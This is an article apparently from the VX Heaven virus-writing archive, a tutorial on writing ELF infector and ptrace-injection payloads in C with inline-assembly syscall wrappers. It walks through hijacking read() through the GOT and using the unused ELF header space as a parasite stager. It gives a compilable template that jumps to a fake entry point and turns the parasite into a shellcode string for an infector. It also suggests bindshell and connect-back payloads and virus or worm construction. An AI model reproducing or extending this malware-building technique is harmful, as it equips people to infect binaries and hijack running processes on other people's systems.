Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Writing ELF parasitic Code in C

BrainStorm

[Back to index] [Comments]

0x01 - introduction

Nowdays more and more people explore the wonderfull world of parasitic code.

ELF parasites are usually written in pure assembler code. due to this, code can get really huge in pure ASM, while the same stuff could be done much faster with C code and inline asm().

This text focuses on the idea of implementing ASM syscall functions so that they can be used to code parasitic (payload) code in C.

oh and dont get confused, parasitic code is a wide range of possible codes, but in this document im talking about the payload of ELF infectors which insert data in segments of a target binary/lib etc. or code that will be injected into a proccess using the ptrace() function.

so the definition of 'parasitic' code in this document is basicially the payload.

by the way, this article is linux specific ;)

0x02 - what is parasite code anyway?

i started to explain this a little in the intro already, but lets get a bit more into detail. as example we will use two common known technics:

  1. ELF text/data segment infection.
  2. code injection using ptrace().

both of those "infection" methodes usually use payloads fully written in asm.

a payload deppends on the situation and 'infection' methode that is used. if we look at ptrace(), we could take over a terminal and inject code that will print some text.

a banal example, but we keep it simple so its easy to understand.

lets get to a more advanced (maybe unknown to the public) theory - infecting read() using ptrace().

there is some unused space at 0x8048000 (about 240bytes) that space is occupied by ELF headers, which arent used during runtime.

you can basicly change it and put whatever you want into that address and nothing would happen.

so instead of destorying data by putting the parasite on %eip (like ES-ptrace-poo does) you can put it there or at least a initial parasite, which will deploy a bigger parasite, since the space is very limited.

lets have a look at the GOT table:

 [[email protected] /]# objdump -R /bin/cat | grep read
 0804c428 R_386_JUMP_SLOT   read
 [[email protected] /]#

whenever the process wants to call read(), it calls the address WITHIN 0804c428. i.e. at 0804c428 there is another address which points to the actual read,

if you write a different address to 0804c428, then next time someone calls read(), its going to jump to something else.

if you would do:

        movl $0x0804c428, %eax
        movl $0x41414141, (%eax)
 

then next time read will be called you will segfault on 0x41414141. now think of the possibilitys yourselfe ;)

ELF infection is different to that, code will be injected into (for example) the text segment of a binary, so the payload will be triggered everytime it will be executed.

ELF infection is much more serious than ptrace() injection, because you can actually build powerfull working viruses and/or worms. if you want more detailed info about ELF parasites/viruses, i sugest you to read silvio`s great textware =)

by the way, at this point it should be obvious why it is called parasite :) well this should be enough of background information about a few forms of parasitic code.

0x03 - why C code?

well if you didnt figure yet, it saves you a lot of time and is pretty usefull if you work on big payloads. if you are a hardcore asm coder, surely pure asm is better, but then again harder,bigger and much more time consuming. its a good and clean way to write the payload, especially if you want to keep updating the code.

so for those who only know basic asm, or not enough to write the payload in pure asm (or just dont have 24/7 to do it in asm), this way is surely a good sollution. as soon as you got a hand on it, you will see the advantages yourselfe =)

0x04 - getting started

basicially you need ansi C and basic ASM knowledge, if you are a beginner C coder this textware is probably nothing for you (yet). besides that, you should be familiar with ELF infection or ptrace() or both :) ,because if you arent into these things, you will most likely not find any good use for this tekneeq.

We mainly talk about a way to create the payload used in various infectors/injectors in C code instead of asm.

You also have to think of what you want your infector todo - do you want it to open up a bindshell or do you want it to be silent and execute commands or connect back to you ?

obviously if you dont know what you want todo with it, you should first think of that befor you start to code, but probably you already got something in mind =)

0x05 - include files vs. syscall's

well i guess you are familiar with all the nice functions like memcpy(),accept(),sock(),send() etc etc.. those usefull functions can all be found in the nice headers in /usr/src/linux/* ..

forget about them,as you cant call any function outside your parasite (like memcpy() which is a libc function). but you can use #definitions like AF_INET or whatsoever. you can #include them at the beginning of your parasite.

we can only work with pure syscalls here, but calm down, keep on reading till the bell rings hehe.

obviously you cannot execute library functions from within a C parasite, because they are outside the parasite. so you have to execute syscalls directly.

0x06: some assembly required

since we cant use the usual include files we got to work with pure syscalls as i said before and so we write ourselfes a syscall implementation in assembly.

if you now start wondering about the title of this article, i didnt say 100% C ;) anyways if you think about it for a while you will soon see the use of all this.

It saves you a lot of time, because you dont have to write everything in pure ASM and especially if you arent that familiar with asm, or just know the basics.

you code yourselfe some API functions in ASM, on that way you can develope about 80% of the payload code in C.

lets have a look at syscalls in linux and how we implement our own, shall we ?

in linux you insert syscall parameters like this:

 [eax = syscall number   ]
 [ebx = first parameter  ]
 [ecx = second parameter ]
 [edx = third parameter  ]
 [...]

for example if you want to do exit(4553); then you would do it like:

	eax = 1
	ebx = 4553
	int $0x80

open asm/unistd.h, you will see all the syscalls and their decimal number. we call them with the following code:

first we define the syscall we want to implement. for example if we wanted to have a fork() implementation

we would do it like this:

#define _fork()             call_0(__NR_fork)

static int call_0(int sys) {
        asm("
                movl 8(%esp), %eax
                int $0x80
        "
);
}
 

now instead of:

        movl $2, %eax
        int $0x80
 

we can just do: _fork();

as you can see, at first it took 2 lines (and 22 characters) of code and now we just need 1 line (and 8 chars) ! now you can probably imagine how it would look like on some bigger code.

this is just one simple function, now compare that little example to a full functional backdoor code...

make sure you include <asm/unistd.h> !

put this function INSIDE the parasite i.e. between the "parasite_start" and "parasite_end" boundries which are assembly labels, just like the C labels.

like:

       goto blah
       blah:
       [...];

i guess you know what i mean :) .. got it so far ? if not read over it once more.. because we now move on to some example code...

0x07 - ready for a test code

/* example parasitic code in C with own syscall implementation.
 * (C) ElectronicSouls
 */


#include <asm/unistd.h>   /* needed for the syscalls */


/* start of the parasite */

/* we have to think of the original state
 * of the executable that gets infected.
 * we also put a fake entry point in there - movl $0x53455345,%eax
 * thats because the infector needs to know the entry point.
 * just use the memmem() function to replace the entry.
 * like:
 *       char ptr[] = "ESES";
 *       memmem(PARA,len,ptr,4);
 *
 * this is only needed if you work with ELF infection.
 */



asm("
      parasite_start:           /* begin of parasite code */
      pusha                     /* push all registers     */
      call parasite_main        /* call the main function */
      movl $0x53455345,%eax     /* set fake entry point (only for ELF infection) */
      jmp *%eax                 /* save state */
      popa                      /* pop all registers */
 "
);

/*  we have to include our syscall implementation
 */


#include "syscall.c"

/* the payload should be attached right after the parasite, so we grab it
 * right from after "parasite_end"
 */


char* getstring(void) {

   asm("   call para
           para:
           popl %eax
           addl $(parasite_end - para), %eax
       "
);
}

/* returns a pointer to the beginning of the parasite */
char* get_parasite(void) {
   asm("   call es
           es:
           popl %eax
           subl $(es - parasite_start), %eax
       "
);
}

/* here starts the actual backdoor code
 * we let it exit(4553);
 * so that we can see it on strace ;)
 *
 * *** Note! ***
 * you cant just do _write(STRING);
 * you cannot use strings, because they are in the data segment,
 * which is outside of your parasite,so you make a function that
 * returns a pointer to a string, like:
 *
 * static char* STRING(void)
 * {
 *  asm("call write
 *       write:
 *       popl %eax
 *       addl $(data - write), %eax
 *       jmp ret
 *       data:
 *       .ascii \"ElectronicSouls r0ck!\"
 *       .byte 0x00
 *        ret:
 *      ");
 * }
 *
 * and then you do it like that: _write(1,data(),_strlen(data()));
 * of course you also need a _strlen() implementation then.
 */


void parasite_main(void) {
  _exit(4553);
}

asm("parasite_end:");                                  /* we reached the end */

int parasite_size(void){
  asm("movl $(parasite_end - parasite_start), %eax");  /* returns the parasite size */
}


int main(int argc, char *argv[])
{
 unsigned char *ptr = get_parasite();
 int i;

 printf("[ElectronicSouls]\n");
 printf("parasite code generated!\n");

 printf("char parasite_payload[] = \"");

 for (i=0;
      i<parasite_size();
      i++)

 printf("\\x%.2x",ptr[i]);                     /* generating shellcode */
 printf("\";\n");

 printf("size: %d\n\n",parasite_size());

}

/*
 * end of the payload code.
 * next we start with the include file :
 */


 
/*
 * this is the syscall implementation in asm
 * (C) ElectronicSouls
 */


/*
 * to execute a syscall, you do:
 */


#define _exit(a)            s1(__NR_exit,a)

/* the functions receives 1 parameter.
 * it assigns the first one to eax.
 * if you would have a function with more than one parameter,
 * it would assign the 2nd parameter to %ebx , 3th to %ecx etc...
 */


static int s1(int sys, ...) {
   asm("
         push %ebx
   
         movl 12(%esp), %eax
         movl 16(%esp), %ebx

         int $0x80
 
         popl %ebx

       "
);

}
 

ok here we go our first little parasite payload is finished! compile it and insert the shellcode into your infector. infect a binary/proccess and strace the infected host.

0x08 - eof

ok thats it, i hope you could learn from it. i would like to thank sectorx, because he helped me a lot with ELF stuff in the past - keep the spirit alive bro ;)

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua